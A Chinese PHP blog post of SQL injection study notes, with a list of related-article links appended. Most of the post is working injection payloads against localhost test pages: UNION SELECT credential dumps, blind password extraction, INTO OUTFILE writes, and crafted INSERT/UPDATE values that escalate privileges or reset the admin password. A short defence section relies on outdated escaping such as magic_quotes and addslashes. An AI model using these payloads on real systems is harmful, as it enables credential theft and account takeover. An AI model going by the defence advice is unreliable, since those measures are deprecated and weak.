PHP的SQL注入实现(测试代码安全不错)


Posted in PHP onFebruary 27, 2011

SQL注入的重点就是构造SQL语句,只有灵活的运用SQL
语句才能构造出牛比的注入字符串。学完之后写了点笔记,已备随时使用。希望你在看下面内容时先了
解SQL的基本原理。笔记中的代码来自网络。
===基础部分===
本表查询:
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m

Union联合语句:
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*

导出文件:
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
构造homepage值为:http://4ngel.net', '3')#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', '1');

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net', userlevel='3
之后SQL语句变为
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'
userlevel为用户级别
2:修改password值为
mypass)' WHERE username='admin'#
之后SQL语句变为
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'
3:修改id值为
' OR username='admin'
之后SQL语句变为
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//....
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","\_",$keywords);
$keywords = str_replace("%","\%",$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

PHP 相关文章推荐
用Socket发送电子邮件(利用需要验证的SMTP服务器)
Oct 09 PHP
快速配置PHPMyAdmin方法
Jun 05 PHP
PHP Header用于页面跳转要注意的几个问题总结
Oct 03 PHP
php pack与unpack 摸板字符字符含义
Oct 29 PHP
基于Windows下Apache PHP5.3.1安装教程
Jan 08 PHP
php中DOMDocument简单用法示例代码(XML创建、添加、删除、修改)
Dec 19 PHP
PHP中for与foreach的区别分析
Mar 09 PHP
超级实用的7个PHP代码片段分享
Jan 05 PHP
ThinkPHP验证码和分页实例教程
Aug 22 PHP
Laravel 5框架学习之向视图传送数据(进阶篇)
Apr 08 PHP
Laravel如何使用Redis共享Session
Feb 23 PHP
微信公众号之主动给用户发送消息功能
Jun 22 PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
让你成为更出色的PHP开发者的10个技巧
Feb 25 #PHP
理解php Hash函数,增强密码安全
Feb 25 #PHP
php中根据某年第几天计算出日期年月日的代码
Feb 24 #PHP
PHP中防止SQL注入实现代码
Feb 19 #PHP
You might like
Win7 64位系统下PHP连接Oracle数据库
2014/08/20 PHP
ThinkPHP水印功能实现修复PNG透明水印并增加JPEG图片质量可调整
2014/11/05 PHP
PHP图片处理之图片背景、画布操作
2014/11/19 PHP
Zend Framework教程之MVC框架的Controller用法分析
2016/03/07 PHP
javascript setTimeout和setInterval计时的区别详解
2013/06/21 Javascript
解决js数据包含加号+通过ajax传到后台时出现连接错误
2013/08/01 Javascript
ext中store.load跟store.reload的区别示例介绍
2014/06/17 Javascript
基于jQuery插件实现环形图标菜单旋转切换特效
2015/05/15 Javascript
详解JavaScript中的forEach()方法的使用
2015/06/08 Javascript
用原生JS对AJAX做简单封装的实例代码
2016/07/13 Javascript
JS简单生成两个数字之间随机数的方法
2016/08/03 Javascript
jstl中判断list中是否包含某个值的简单方法
2016/10/14 Javascript
详解基于Node.js的微信JS-SDK后端接口实现代码
2017/07/15 Javascript
使用travis-ci如何持续部署node.js应用详解
2017/07/30 Javascript
浅谈使用nodejs搭建web服务器的过程
2020/07/20 NodeJs
简单了解前端渐进式框架VUE
2020/07/20 Javascript
python下函数参数的传递(参数带星号的说明)
2010/09/19 Python
Python ORM框架SQLAlchemy学习笔记之数据查询实例
2014/06/10 Python
Python标准库之itertools库的使用方法
2017/09/07 Python
使用python绘制二元函数图像的实例
2019/02/12 Python
Python函数定义及传参方式详解(4种)
2019/03/18 Python
python使用递归的方式建立二叉树
2019/07/03 Python
python读取yaml文件后修改写入本地实例
2020/04/27 Python
浅谈Python中threading join和setDaemon用法及区别说明
2020/05/02 Python
Python实现UDP程序通信过程图解
2020/05/15 Python
深入了解Python enumerate和zip
2020/07/16 Python
Python configparser模块应用过程解析
2020/08/14 Python
opencv+pyQt5实现图片阈值编辑器/寻色块阈值利器
2020/11/13 Python
详解CSS3的opacity属性设置透明效果的用法
2016/05/09 HTML / CSS
毕业生个人求职自荐信
2014/02/26 职场文书
投资协议书范本
2014/04/21 职场文书
幼儿园教师节演讲稿
2014/09/03 职场文书
怎样写辞职信
2015/02/27 职场文书
2015年办公室人员工作总结
2015/05/15 职场文书
详细了解java监听器和过滤器
2021/07/09 Java/Android
Java 超详细讲解十大排序算法面试无忧
2022/04/08 Java/Android